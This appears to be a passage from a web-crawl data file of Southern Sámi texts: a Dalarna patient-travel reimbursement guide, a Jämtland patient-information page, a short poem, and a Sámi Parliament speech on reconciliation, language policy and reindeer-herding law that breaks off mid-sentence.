skïemtjemïnneme?\nMïnnemh mejtie ij maeksieh\nGïeh maaksoem åådtje?\nDov dïedte\nÅålmeh kollektijve valkese\nSkïemtjemïnneme jïjtsene bïjline\nSkïemtjemïnneme sjïere kollektijvevalkesinie - taxine, skïemtjemïnnemebussine\nMaaksoeh\nJïjtje maeksedh\nJollemaaksoeraajoe (högkostnadsskydd)\nOhtseme mïnnememaaksoste\nMaaksoe mïnnememaaksose\nBuerie daejredh – guhte dåeriedidh, remissem åadtjodh jïjtje veeljedh jnv.\nJis sïjhth vielie daejredh\nMij akte skïemtjemïnneme?\nMijjieh skïemtjemïnnemh maeksebe abpe leenesne laantedigkien håksoe ektievoetide jïh privaate håksojde giej laantendigkine latjkamamme. Sïejhmemes gosse dåakteren gåajkoe, baeniedåakteren jïh skïemtjevïtnesjæjjese. Maaksoem dov gåeteste (gusnie tjaalasovveme) jïh skïemtjegåatan jallh dan håksoejarngese åadtjoeh gusnie datne tjaalasovveme Dalarnan laantedigkien njoelkedassi mietie skïemtjemïnnemasse.\nMïnnemh mejtie ij maeksieh\nIh maaksoem åadtjoeh gosse håksoem Dalarnan Laantedigkien ålkolen veeljh remissen mietie gosse jïjtje veeljedh.\nIh gænnah maaksoem mïnnemen åvteste åadtjoeh:\n- Gosse healsoegoerehtæmman goh mammografije, gynekologisk healsoegïehtjedimmie, starnenænnoestimmie, trahpenassh vaeltedh (vaccinationer)\n- Ietnie jïh maanahåksoen gåajkoe mïnnedh\n- Starnehåksoem (voejedidh jallh skïemtjevïtnesjæmman)\n- Privaate optihkeren gåajkoe\n- Bietskiedæjjan gåajkoe (peruk jallh toupé pryövedh)\nGïeh maaksoem åadtjoeh?\nDatne gie Dalarnan leenesne tjaalasovveme maaksoem dov skïemtjemïnnemen åvteste åadtjoeh dah njoelkedassi mietie mejtie raeriestamme.\nJis datne asyjlem ohtsedeminie dåårjeldh LMA-kåarhtine (laake guktie asyjleohtsijidie dåastoehtidh) maaksoem dov skïemtjemïnnemidie åadtjoeh.\nDov dïedte\nIktesth datne dïhte gïen dïedte håksose mïnnedh dan tïjjese maam åådtjeme. Jis ih leah tïjje maam åådtjeme busse- jallh ruevtieraajrose sjeahta, pryövh dellie orre tïjjem håksose åadtjodh.\nÅålmeh kollektijvevalkese\nBusse jallh ruevtieraajroe\nDatne maaksoem åålmeh kollektijvevalkesinie åadtjoeh, bussine jïh ruevtieraajrojne. Gosse skïemtjegåatan jallh håksoejarngese mïnnh Dalatrafiki bussine ih daarpesjh jis leahpam vuesehth datnem dahkoe tjåårveme. Gosse gåatan dellie barre håksoeleahpam daarpesjh vuesiehtidh.\nJis ih sïjhth bussevoejijasse vuesiehtidh, jallh leahpa fååtese maahta busseleahpam maeksedh jïh dan mænngan busseleahpam jïh håksoeleahpam Dalatrafiken gåajkoe seedth, dellie gaajhkem maam datne maakseme bååstide åadtjoeh.\nJis mïnnh ruevtieraajrojne Tåg i Bergslagen maahta dam dov leahpam dongkedh sijjesne BC Dalarna. Jis veeljh ruevtieraajroen åvteste maeksedh dellie dam leahpam jïh håksoeleahpam Dalatrafiken gåajkoe seedth dellie gaajhkem maam datne maakseme bååstide åadtjoeh. Jis gellien aejkien håksose edtjh mïnnedh jïh guhkeben aejkien, dellie maahta boelhkekåarhtem BC Dalarnan luvhtie dongkedh gaajhkh mïnnemi åvteste. Dïhte dov dåaktere tjuara iktesth nænnoestidh man guhkiem datne håksoem daarpesjh.\nJis naan jeatjah bussesïelskine mïnnh goh Dalatrafik jallh SJ-ruevtieraajrojne edtjh voestes dam dov leahpam jïjtje maeksedh. Dan mænngan leahpide jïh håksoeleahpide seedtedh AB Dalatrafiken gåajkoe dellie beetnegidie bååstide åadtjoeh. Barre maaksoem åadtjoeh gosse mïnnh 2:klaassine.\nSkïemtjemïnneme privaate bïjline\nJis leenen rastah skïemtjegåatan jeatjah leenese, barre maaksoem åålmeh kollektijvevalkesistie åadtjoeh, saaht tjoerh vuertedh jallh man guhkiem mïnnedh jïh man gåhkese lïhkemes busse- jallh ruevtieraajroestasjovnese. Stinkes ruevtieraajroe – jallh busseleahpa tjuara iktesth meatan seedtedh.\nGosse privaate bïjline dellie maaksoem kilomeeteren åvteste skïemtjemïnnemasse åadtjoeh, gaajhkh kilomeeteri åvteste mah bijjelen 55 aktem geajnoem, gåetien jïh håksoejarngen gaskem. Maaksoem privaate bïjline skïemtjemïnnemasse leenesne barre åadtjoeh jis kollektijvevalkese fååtese, gidtjh gåetien jïh lïhkemes tjöödtjestimmiesijjien gaskem edtja guhkebe goh golme kilomeeterh årrodh jïh bijjelen 20 kilomeeterh lïhkemes voenese gusnie busse- jallh ruevtieraajroestasjovne.\nDatne tjoerh latjkedh håksose båetedh åålmeh kollektijvevalkesinie joe göökte tæjmoe åvtelen håksose soejkesjamme. Jis tjoerh bijjelen göökte tæjmoeh vuertedh gosse håksosne orreme gossege åålmeh kollektijvevalkese jåhta lïhkemes tjöödtjestimmiesijjeste, busse – jallh ruevtieraajroestasjovne gåatan maaksoem skïemtjemïnnemasse privaate bïjline maahta åadtjodh.\nJis guhkebe goh akte tæjmoe vaasa, aktem geajnoem mïnnedh, åålmeh kollektijvevalkesinie, gosse aaj lotneme, goh privaate bïjline vaasa (guktie geajnoem buerkiestamme vg. Eniro) dellie maaksoem åadtjoeh privaate bïjline vuejedh.\nGosse ih leah maahteme kollektijvevalkesem dåeriedidh dannasinie ih dellie\/iktesth maehtieh eensilaakan svihtjedh dellie maaksoem åadtjoeh privaate bïjline vuejedh jis ohtsemasse håksoe-ektievoeteste nænnoestieh.\nGosse kollektijvevalkesem dåeredh IJ LEAH mïnnemetïjje mij vaasa ryöknesåvva gosse lïhkemes tjöödtjestimmie sæjjan mïnnedh mij åenebe goh golme kilomeeterh gåeteste. Ij gænnah dïhte mïnneme dutnjan lïhkemes busse- jallh ruevtieraajroestasjovnese, mij åenebe goh 20 kilomeeterh gåeteste meatan dennie kollektijve mïnnemetïjjesne.\nIh naan maaksoem åadtjoeh jis maaksah gosse bïjlem tjöödtjesth, maaksoe gosse stoere valkese jïh jeatjah maaksoeh\nIj naan maaksoe skïemtjemïnnemasse privaate bïjline jeatjah sjïekenassen mietie åadtjoeh goh daagkoe bijjelen beavneme.\nOhtseme maaksoen åvteste mïnnemasse åeniehkåbpoe goh 55 kilomeeterh, ij raeresth jïh ij bååstide lutnesth.\nSkïemtjemïnneme sjïere kollektijvevalkesinie\nSkïemtjemïnneme taxine\/sjïerevoejeminie\nSkïemtjemïnneme taxine lea voestes ieresne dejtie giejtie eah maehtieh eensilaakan svihtjedh jallh jeatjah medicinske fåantoej mietie eah maehtieh åålmeh kollektijvevalkesinie mïnnedh. Gosse taxine\/sjïerevoejeminie daarpesjh mïnnedh dellie barkijh håksoe-ektievoetesne gusnie orreme skïemtjemïnnemeleahpesne nænnoestidh ih datne maehtieh åålmeh kollektijvevalkesinie mïnnedh medicinske fåantoej mietie, fysiske jallh psykiske fåantoej mietie. Daate leah gaajhkh mïnnemidie gosse håksose jïh håksoste mïnnedh.\nMujhtieh ij leah Beställningscentralen (BC Dalarna) mij nænnoste mejtie Laantedigkie Dalarna edtja taximïnnemem maeksedh. Dïhte iktesth håksoe-ektievoete mij raereste mejtie daerpies jïh nænnoste mejtie skïemtjemïnnemem taxine\/sjïerevoejeminie åadtjoeh jïh Laantedigkie Dalarnisnie dam maaksa. Jis BC Dalarna taxim dutnjien dongkeme gosse datne beavneme jïh håksoe-ektievoete ij dov skïemtjemïnnemem nænnoste guktie daagkoe bijjelen beavneme, dellie datne ryöknegem abpe taximïnnemistie åadtjoeh lissine dam maam jïjtje tjoerh maeksedh. Jis BC Dalarna vierhtede ij kollektijvevalkese gååvnese dellie maahtah maaksoem åadtjodh.\nGosse taxine mïnnh dellie tjoerh latjkedh jeatjah aaj dennie seamma taxine jalhts jeatjah geajnoem jïh guhkebe tïjje vaasa. Aaj tjoerh latjkedh mïnneme jåhta dej voejeminie mah BC Dalarna utnieh. Ij naan jeatjah goh dah njoelkedassh dåhkasjehtieh.\nDongkh dam dov skïemtjemïnnemem BC Dalarna luvnie buerie tïjjen åvtelen håksose mïnnedh! Jis jeatjhlaakan dongkh åadtjoeh jïjtje maeksedh. Dov lea dïedte nænnoestimmiem seedtedh \"Ohtseme skïemtjemïnnemasse\" (Ansökan om sjukreseersättning) mïnnemasse taxine\/sjïerevoejeminie, Dalatrafiken gåajkoe minngemes 10 biejjieh mænngan mïnnih. Jis ih skïemtjemïnnemeleahpam seedth mij dam dov mïnnemem nænnoste taxine\/sjïerevoejeminie mïnnedh dellie datne ryöknegem abpe taximïnnemistie jïh åadtjoeh lissine dam maam jïjtje tjoerh maeksedh.\nSkïemtjemïnnemeleahpam seedth:\nDalatrafik\nTrafikadministration, Sjukresor\nBox 833, 781 28 Borlänge\nMïerhkesjh kuvertem »TAXI«.\nÅssjelmesh\nJis dov lea åssjelmesh dov skïemtjemïnnemasse taxine\/sjïerevoejeminie maam BC Dalarna tjïrrh dongkeme govlehtallh dellie sijjine kundservice tellefovnesne 0774 - 44 00 10 jallh gihtjh voejijim giejnie mïnnh dan kåarhten mietie \"Tyck till kort\" maam namhtah påastemïerhkine maahtah seedtedh Dalatrafik, Särskild kollektivtrafik gåajkoe.\nSkïemtjemïnneme skïemtjemïnnemeraastine\nSkïemtjegåatan\/gåetese Akademiska sjukhuset Uppsala jïh Löwenströmska sjukhuset Upplands Väsby sjïere skïemtjemïnnemebusse gååvnese.\nSkïemtjemïnnemebusse aarkebiejjieh måantan – bearjadahken Moran luvhtie jåhta:\nMora – Rättvik – Leksand – Djurås – Borlänge – Falun – Hedemora – Avesta Akademiska jïh Löwenströmska gåajkoe.\nÖöhpehts skïemtjebarkijh meatan mïnnemisnie. Datne maaksoen namhtah skïemtjemïnnemebussine mïnnh. Datne mïnnemem dongkh BC Dalarna minngemes ts.18.00 biejjien åvtelen edtjh mïnnedh.\nMaaksoeh\n|Mejnie mïnnedh||Maaksoe\n\n\n|Bussine\n||Leahpaåasah\n\n\n|Ruevtieraajroe\n||Leahpaåasah (2: klaasse)\n\n\n|Privaate bïjle saaht man gallesh bïjlesne\n||1,85 kr fïerhten km åvteste destie mij bijjelen 55 kilomeeterh vuejedh, aktem geajnoem\n\n\nJïjtje maeksedh\n|Mejnie mïnnedh||Jïjtje akten mïnnemem maeksedh\n\n\n|Skïemtjemïnnemebusse\n||Namhtah\n\n\n|Taxi, sjïerevoejeme\n||150 tjåer.*)\n\n\n|Girtie\n||100 tjåer.\n\n\n* Datne jïjtje voejijasse maaksah jïh leahpam destie dåastohth.\nJollemaaksoeraajoe\nIh daarpesjh jeenebem goh 2 400 tjåervieh jïjtje maeksedh dej dov skïemtjemïnnemi åvteste luhkiegöökte askine. Daam geehtie juktie ih daarpesjh naan leahpah Dalatrafik gåajkoe seedtedh.\nOhtseme mïnnememaaksoste\nGosse ruevtieraajroe\/busseleahpide maakseme jallh reaktoe åtna privaate bïjline vuejedh, dah njoelkedassi mietie, maaksoem maahtah åadtjodh jis ohtsemem seedth bïevnesigujmie guktie mïnneme. Goerem håksoejarngesne jallh skïemtjegåetesne åadtjoeh gosse håksosne. Ih maaksoem åadtjoeh jis mïnneme 12 askijste båarasåbpoe.\nVuartesjh! Gosse maaksoen mietie dan dov skïemtjemïnnemen åvteste ohtsedh, edtjh iktesth seedtedh håksoeleahpah, stinkesleahpah jïh kopijem stinkes remisseste, jis dan mietie gihtjie.\nMaaksoe mïnnemistie\nMijjieh dam dov maaksoen baanghken tjïrrh maeksebe. Ibie maaksoem 50 tjåerviej vuelelen maeksebe. Mijjieh åasam 50 tjåervijste vaeltebe maaksoeaviji åvteste mejtie ij lutnesth jïh mejtie tjoerebe ikth vielie aejkien maeksedh.\nOhtseme, leahpah jïh håksoeleahpa seedtedh:\nDalatrafik\nTrafikadministration, Sjukresor\nBox 833\n781 28 Borlänge\nIbie prievieh namhtah påastemïerhkem lutnesth.\nBuerie daejredh\nGuhte meatan viehkine\nJis viehkiem mïnnemisnie daarpesjh, guhte maahta datnem dellie dåeriedidh jïh ij dan åvteste daarpesjh maeksedh. Dellie tjoerh nænnoestimmiem håksoste utnedh. Jis 20 jaepijste nuerebe, akte eejtegistie åådtje dåeriedidh namhtah nænnoestimmine. Dïhte gie datnem dåerede edtja tjaangedh jïh tjöödtjestidh seamma sijjesne goh datne.\nRemisse gosse jïjtje veeljedh\nGosse håksoem jeatjah laantendigkeste goh Dalarna veeljeme, dellie jïjtje mïnnemen åvteste åadtjoeh maeksedh.\nSjïerehåksoem leenen ålkolen jïh håksoedååjvehtasse\nJis sjïerehåksoem jallh remissem håksoedååjvehtassen tjïrrh skïemtjegåatan åadtjoeh Dalarnan ålkolen, dellie maaksoem bussine jïh ruevtieraajrojne åadtjoeh. Jis taxine\/sjïerevoejeminie, jallh mïnneme privaate bïjline tjoerh nænnoestimmiem utnedh dehtie håksoe-ektievoeteste Dalarnisnie mij remissem tjeeli.\nJis leenen ålkolen skeamtjoeh\nJis Dalarnan leenen ålkolen skeamtjoeh dellie maaksoem skïemtjemïnnemen åvteste lïhkemes håksoe-ektievoetese åadtjoeh dennie laantendigkesne gusnie lea. Ih naan maaksoem åadtjoeh gosse gåatan destie.\nSkïemtjemïnneme girtine\nSkïemtjemïnneme girtine barre åadtjoeh jis sjïere nænnoestimmiem maam håksoe-ektievoeteste Dalarnisnie åådtjeme.\nJis vielie sïjhth daejredh\nJis vielie bïevnesh sïjhth maaksoen bïjre skïemtjemïnnemasse, tjaelieh dellie sæjjan Dalatrafik, Trafikadministration, Sjukresor, Box 833, 781 28 Borlänge, jallh ringkh 0243 - 625 90. Tellefovnetïjje måantan – bearjadahken ts.l 10 – 12. Bïevnesh aaj e-påasten tjïrrh åadtjoeh. Tjaelieh sæjjan: email@example.com\nBïevnesh busse- jïh ruevtieraajroetïjjide Dalarnisnie, govlehtallh Dalatrafiks kundservice. Telefon 0771- 95 95 95 jallh vuartesjh mijjen hïejmebieliem www.dalatrafik.se\nDatne ruevtieraajroeleahpam dongkh (ij SJ), skïemtjemïnnemebussem jïh skïemtjemïnneme taxine \/sjïerevoejeminie sijjesne BC Dalarna tellefovne 0774 - 44 00 00\nGosse dam dov mïnnemem dongkh BC Dalarna sæjhta daejredh:\n- Dam dov Personenommere jïh tellefovnenommerem\n- Jis skïemtjelassen gaavhtan ih maehtieh åålmeh kollektijvevalkesinie mïnnedh\n- Dov hïejmen tjaalesijjiem\n- Mij håksoe-ektievoetese edtjh mïnnedh\n- Gåessie edtjh dejnie dov dåakteren luvnie årrodh\n- Mejtie viehkiehtæjjam meatanJis sjïere viehkiem daarpesjh\n- Jis naan viehkievierhtieh meatan","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.ltdalarna.se\/Om-webbplatsen\/Other-languages\/Saemiensamiska\/Sjukresor\/","date":"2017-02-28T05:49:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501174135.70\/warc\/CC-MAIN-20170219104614-00307-ip-10-171-10-108.ec2.internal.warc.gz","language":"sma","language_score":0.9999924898,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999924898147583}","num_words":1372,"character_repetition_ratio":0.094,"word_repetition_ratio":0.006,"special_characters_ratio":0.148,"stopwords_ratio":0.039,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guktie manne skïemtjijefeelemem dongkedh? Man jïjnjh goerehtimmiem maeksedh? Maam manne darjoem jis im såjhtojne fuakah? Dejtie jïh jienebh maahtah laantedigkien baasefaalenassesne skïemtjijebïevnesi bïjre lohkedh.\nBaasefaalenassem gååvnese sjïere tjaalegesijjine gaajhkene healsoejarngine leenesne jïh dåastoevinie Staaren skïemtjegåetesne. Dah edtjieh aelhkebe skïemtjijidie jïh jeajtah guesside våaromen bïevnesh laantedigkien bïjre gaavnedh. Jis datne sïjhth våålese veedtjedh jallh naan tjaalegem olkese tjaeledh dellie guvviem dan nualan dïedtedh. Datne maahtah aaj tjaalegidie dongkedh trygkesovveme hammojne jis dongkemegoerem dievhtedh, diedtesth daesnie.\nJis dov lea gyhtjelassh baasefaalenassen bïjre, gaskesadth Maria Karlsson:em gaskesadtemestaabesne.\nJis dov lea gyhtjelassh baasefaalenassen bïjre, gaskesadth Maria Karlsson:em gaskesadtemestaabesne.\n— Datne healsoejarngem veeljh\n(Hälsoval i Jämtlands län.\nValet är ditt — du väljer hälsocentral)\nAktem tjaalegem vielie åålmehhealsoen bïjre libie barkeminie jïh edtja baasefaalenassesne årrodh.\nSidansvarig:Gun Råberg Kjellerstrand, tel: +4663147737, e-post: firstname.lastname@example.org.\nHittar du fel eller har synpunkter på innehållet, meddela\nSenast uppdaterad 2013-04-08.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/jll.se\/omoss\/informationpaandrasprak\/aarjelsaemiesame\/bueriedaejredhdutnjiengieleaskiemtjijebraattvetafordigsompatient.4.340d6313b623c52788fe.html","date":"2017-03-29T11:09:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218190295.4\/warc\/CC-MAIN-20170322212950-00476-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999463558,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999463558197021}","num_words":135,"character_repetition_ratio":0.072,"word_repetition_ratio":0.016,"special_characters_ratio":0.154,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Soptsestem gosse datne vualkeme\nDaennie sæjrosen maahtah diktem \"Soptsestem gosse datne vualkeme\" lohkedh mejtie Inger-Mari Aikio-Arianaik tjaaleme. Dikte lea gærjesne \"Åvtese jåhta\" jïh Lena Kappfjell lea diktem jarkoestamme.\nSoptsestem gosse datne vualkeme\naellieh gieriesvoeten bijre soptsesh\nakten jijjen mænngan\nmanne aaj sjeavohtsh oktemisnie låasem\ngosse datne vaadtsajamme1\n- 1. Åvtese jåhta, åarjelsaemien tjaalegh jïh tjaalegh åarjelsaemien (2005) , , Publisher: DAT o.s","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/169761?fag=126960","date":"2017-05-22T19:32:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607046.17\/warc\/CC-MAIN-20170522190443-20170522210443-00376.warc.gz","language":"sma","language_score":0.9999277592,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999277591705322}","num_words":57,"character_repetition_ratio":0.136,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjåanghkoeåvtehke,\nManne daam håalomem aalkam aktine aamhtesinie mïsse stoerre veanhtadimmieh utnebe jïh mij sæjhta mijjen åålmegem jïh mijjen siebriedahkem tsevtsedh tïjjen åvtese. Stoerredigkien nænnoestimmie aktem kommisjovnem tseegkedh mij edtja assimileradimmiem jïh ovreaktam goerehtidh mij lea dorjesovveme saemiej jïh kveenajh vööste Nöörjesne, sæjhta joekoen vihkeles årrodh gosse mijjen ektie histovrije edtja goerehtamme sjïdtedh jïh soptsesovvedh abpe laantesne.Mijjieh aadtjen mijjen lahtestimmine båateme mandaatese Saetniesvoete- jïh måahtadimmiekommisjovnese gusnie mijjieh gaskem jeatjah tjïertestamme man vihkeles dïhte barkoe mij daelie edtja dorjesovvedh, hijvenlaakan jïh eensilaakan dorjesåvva. Mijjieh lahtestimmine båateme mij ållermaahta kommisjovnen nommem, mieriekrïevenassh, teemah jïh maahtoem dej gaskem mah edtjieh meatan årrodh kommisjovnesne. Maahta vååjnedh goh muvhten aejkien dle daerpies måjhtajehtedh mijjen siebriedahke lea seamma gellielaaketje goh gaajhkh jeatjah siebriedahkh. Assimileradimmiepolitihke joekehtslaakan sjugniehtovvi sijjeste sæjjan jïh ij leah maa numhtie saemieh ajve aktine dååjrehtimmine tjahkasjieh daehtie baeleste. Maahta aaj årrodh gaajhkesh eah lastoem utnieh meatan årrodh dagkeres barkosne maam kommisjovne edtja darjodh daelie. Daate akte bielie maam mijjieh tjoerebe jååhkesjidh jïh meatan utnedh.\nMijjieh aaj mijjen lahtestimmesne jeahteme dovne gïele- jïh kultuvremaahtoe lea daerpies gosse edtja saemiejgujmie govlesadtedh. Mijjieh aaj krïevebe kommisjovne lea jïjtjemse ryöjredamme aktem tsiehkiem gïetedidh gusnie vaejvie åvtetje aejkeste bæjjese bijjieskearan båata, maam ij aarebi gïetedamme. Aaj mijjieh dennie saemien siebriedahkesne tjoerebe ryöjredamme årrodh dïsse. Gosse mijjen almetjh edtjieh luhpiem åadtjodh ræhpaslaakan aamhtesi bïjre soptsestidh mah guhkiem tjeakoes orreme, dellie dïhte maahta tjarke domtesh gåaskodh. Maahta domtesh gåaskodh guktie ij leah maahteme veanhtadidh, maam ibie annje man bïjre daejrieh.\nTjåanghkoeåvtehke;\nMunnjien aaj vihkeles daah histovrijh eah edtjh ajve jïjtjene siebriedahkesne govlesovvedh. Leevles, mïrhke histovrijh assimileradimmiebaeleste eah leah ajve saemiej histovrijh. Dah leah akte bielie dehtie nöörjen, nasjonaale soptsesistie jïh nöörjen årrojh edtjieh aaj dam histovrijem damtedh. Munnjien vååjnoe goh saemieh jallh dïhte saemien lea vielie våajnoes daelie goh aarebi. Mijjen noerh jïh mijjen sïelth jienebh baalhkah dåastoeh, mijjieh saemieh vuejnebe mah leah meatan ovmessie reality-seerijinie. Ibie dan tjeakoes jielieminie dejtie mubpide almetjidie goh aarebi.Men, mijjieh akten digitaale tïjjen jielieminie, jïh mijjieh daamtaj vuejnebe guktie dïhte saemien daltesåvva ovmessie nedteforuminie. Gosse noerhtenöörjen plaerieh saemien aamhtesi bïjre tjaelieh, dellie ij guhkiem vaesieh åvtelen digkiedimmie lahtestimmiesijjine eevre båajhtoeh haaran gajvh. Mov mïelen mietie dle daate nedtenarrahtimmie maam saemieh daan biejjien dååjroeh, akte stoerre dåeriesmoere siebriedahkesne jïh akte aajhtoe demokratijen vööste. Manne vïenhtem gellie saemieh neajhkestieh meatan årrodh siebriedahkedigkiedimmesne daan narrahtimmien gaavhtan. Dah mah voejhkelieh vaanesovmh nåhkehtidh jïh båajhtoeh vuajnoeh staeriedidh, aaj vïssjehtuvvieh destie. Manne bïllem daate lea meatan mijjen almetjh låjjodh jïh dam im maehtieh jååhkesjidh. Saemien byögkelesvoete jïh saemien digkiedimmie leah vihkeles, dïhte mijjese faamoem vadta guktie jåerhkebe mijjen jïjtjedomtesen åvteste gæmhpodh, jïh dïhte meatan mijjen identiteetem bigkedh goh åålmege. Saemien gïele aaj joekoen vihkeles dennie nasjonaale siebriedahkedigkiedimmesne.Saemiedigkien leah veanhtadimmieh ihke Saetniesvoete- jïh måahtadimmiekommisjovnen barkoe sæjhta maehtedh dïrreginie årrodh juktie vaanesovmh jïh båajhtoeh mïelh nåhkehtidh. Mijjen lea håhkoe kommisjovnen barkoe sæjhta meatan årrodh baantide veaksahkåbpoe darjodh saemien jïh nöörjen siebriedahken gaskem, gusnie maehtebe goerkesem jïh goerkesadtemem bigkedh mijjen åålmegi gaskem.\nTjåanghkoeåvtehke;\nFemunden-aamhtese vuesehte guktie daaroedehtemetïjje annje mijjen siebriedahkem klaerede.Dïhte aadtjen vihtiestamme Jillemesreaktavihtiestimmie Femunden bïjre vuesehte daerpies båatsoelaakem orresistie gïehtjedidh. Jillemesreakta gyhtjelassh gihtjieh mejtie båatsoelaaken striengkies dïedte- jïh maaksoenjoelkedassh båatsose, Maadthlaaken jïh gaskenasjonaale konvensjovni vööste strijrieh. Jillemesreakta vuesehte laaken åvtebarkoeh aktem nåake histovrijen vuesiehtieh, jïh saemien båatsoe lea nåakebelaakan vuarjasjamme viertiestamme jåartaburrien ïedtjigujmie mïsse ij leah naan våarome darjodh. Raaktan daate bielie båatsoelaakeste lea tjaalasovveme akten tïjjen gosse daaroedehtemepolitihke lij jarngesne, jïh mij annje lea akte maajsoe mijjen siebriedahkide.\nJillemesreakta dan mænngan aktine sveekes besteles maedtieminie båata: \"daerpies aktine revisjovnine båatsoelaaken njoelkedassijste dïedten jïh maaksoen bïjre dallatjinie\"\nManne veanhtedem reerenasse bæjjese fulkie daam lahtesem Jillemesreakteste.\nSeamma tïjjen daejrebe jienebh vuesiehtimmieh gååvnesieh mah vuesiehtieh mijjen jielemh jïh jieliemassedaerpiesvoete stuvresuvvieh laakijste jïh njoelkedassijste mah eah mijjen reaktah jallh mijjen eatnemegoerkesem krööhkesth.\nTjåanghkoeåvtehke;\nSuehpeden daan jaepien reerenasse aavoesaerniem luejhtieji, Rørosen tjïelte Trööndelagesne meatan vaaltasåvva saemien gïelen reeremedajven sïjse snjaltjen 1.b. raejeste. Røros njealjede åarjelsaemien tjïelte sjædta mij lea meatan reeremedajvesne. Røros akte joekoen vihkeles dajve dan åarjelsaemien gïelese, jïh gosse daelie meatan vaaltasåvva saemien reeremedajven sïjse, dellie dïhte joekoen vihkeles gïelen gaavhtan. Sjæjsjalimmie stuerebe nuepieh vadta åarjelsaemien utniehtidh goh akte jielije gïele aaj båetijen aejkien.Dååjrehtimmieh dejtie jeatjah tjïeltijste mah joe akte bielie reeremedajveste vuesiehtieh saemien gïele aktem jollebe statusem åådtjeme daejnie tjïeltine dan tïjjen mænngan. Manne ojhte daajram gosse tjïelth sijjiem vedtieh saemien gïelese jïh gïeleåtnose sjïehteledtieh, dellie gïele sæjhta bïehtsegidh jïh evtiesovvedh. Manne joekoen geerjene ihke mijjieh dej minngemes jaepiej aktem joekoen hijven evtiedimmiem vuajneme åarjelsaemien gïelen bïjre, gusnie joekoen doh noere almetjh aktem stoerre ïedtjem vuesiehtamme gïelem lïeredh jïh nuhtjedh. Mijjieh mijjen læhkoevaajtelassh Rørosen tjïeltese seedtebe jïh aavoedibie åarjelsaemien gïelen bïjre laavenjostedh jïh gïelem gorredidh jïh eevtjedh.\nTjåanghkoeåvtehke;\nSaemien jïh jeatjah aalkoealmetjegïelh daelie gaskenasjonaale tsåatskelesvoetem åadtjoeh tïjjen åvtese. Ektiedamme nasjovnh (EN) leah nænnoestamme 2019 edtja Gaskenasjonaale jaepie aalkoealmetjegïelide årrodh. Manne dam stoerre earoem åådtjeme dam nammoehtamme tjirkijem årrodh dehtie arktiske regijovneste stuvremedåehkesne gïelejaapan, maam UNESCO stuvrie. Manne aavodem dan barkose mij vuertieminie. Gaskenasjonaale jaepie aalkoealmetjegïelide edtja dovne aalkoealmetjegïelh våajnoes darjodh jïh dejtie eevtjedh abpe veartenisnie abpe jaepien. Daan sjïekenisnie, jïh dennie guhkiebasse barkosne Vaajmoegïeleste, mijjieh aktine gïelereformine barkeminie mij edtja faamoem åadtjodh mubpien jaepien raejeste. Sïjhtebe gïelereformen strategijesoejkesjem gïetedidh goh aamhtese stoerretjåanghkosne goeven daan jaepien.\nTjåanghkoeåvtehke;\nManne tuhtjem akte stoerre teehpeme gosse Interreg-prosjekte Saemien Gïelegaaltije – noerhtelaanti faage- jïh vierhtiejarnge saemien gïelide, orrije. Dïhte akte sjïere jïh vihkeles prosjekte mij laavenjassine åtneme gaskem jeatjah orre terminologijem jååhkesjidh, gïelem normeradidh, gïelesåjhtojne jïh raeriestimmine gïelen bïjre barkedh gaajhkine noerhtelaantine. Dïhte barkoe mij lea dorjesovveme Saemien Gïelegaaltijisnie dej minngemes jaepiej lea mijjese ikth vielie vuesiehtamme man vihkeles jïh dovres dagkeres laavenjostoe lea. Mijjieh akte åålmege raasti namhtah jïh mijjen gïelh eah dejtie nasjonaale staateraastide fulkh. Annje dle saemieh raasti dåaresth maehtieh sinsitnine soptsestidh dan saemien gïelen gaavhtan. Men gaajhkh gïelh evtiesuvvieh, jïh jis ibie aktem årgaanem utnieh mij orre teermh jïh normeradimmiem sjïehtede, jååhkesje jïh gïehtjede, dellie laanten åejviegïele sæjhta maehtedh tsevtsedh jïh klaeriedidh dejtie saemien gïelide tïjje doekoe. Ammes baakoeh jïh dïejvesh sijhtieh åtnose båetedh, guktie doh saemien gïeleutnijh raasten mubpene bielesne eah sïjhth vielie guarkedh. Mijjieh daarpesjibie reerenassh Nöörjesne, Såevmesne jïh Sveerjesne huksieh Saemien Gïelegaaltijem finansieradidh guktie dïhte maahta ihkuve öörneginie sjïdtedh jïh destie aktem jearsoes båetijem aejkiem saemien gïelide hoksedh. Manne gegkestem dïhte maahta akte saetniesvoete sjïdtedh mubpien jaapan, gosse gaskenasjonaale sijjesne aaj sæjhta tsåatskelesvoetem stuvredh aalkoealmetjegïeli tseahkan.\nTjåanghkoeåvtehke;\nNjoktjen daan jaepien akte histovrijes heannadimmie sjugniehtovvi gosse skoltesaemien nommh dan ellen voestes aejkien jååhkesjimmiem åadtjoejin sijjienommelaaken mietie. Doh 12 voestes skoltesaemien sijjienommh leah daelie byjjeslaakan jååhkesjamme jïh tjaalasovveme Sentralt sijjienommeregisterisnie. Mieriedimmie sijjienommelaakese aktem lissiehtassem nænnoesti jarkelimmien tjïrrh mij baaja skoltesaemien nommh åtnasovvedh Åarjel-Varangeren tjïeltesne, gusnie stoerre bielieh tjïelteste leah skoltesaemien åtnoedajvh aerpievuekien mietie. Mov vaajmoe baahkene gosse ussjedem daan tïjjen raejeste sïjhtebe maehtedh skoltesaemien nommh vuejnedh kaarhtine jïh mænngan aaj tsïegline Åarjel-Varangerisnie. Dïhte viehkehte statusem lutnjedh gïelese, jïh manne 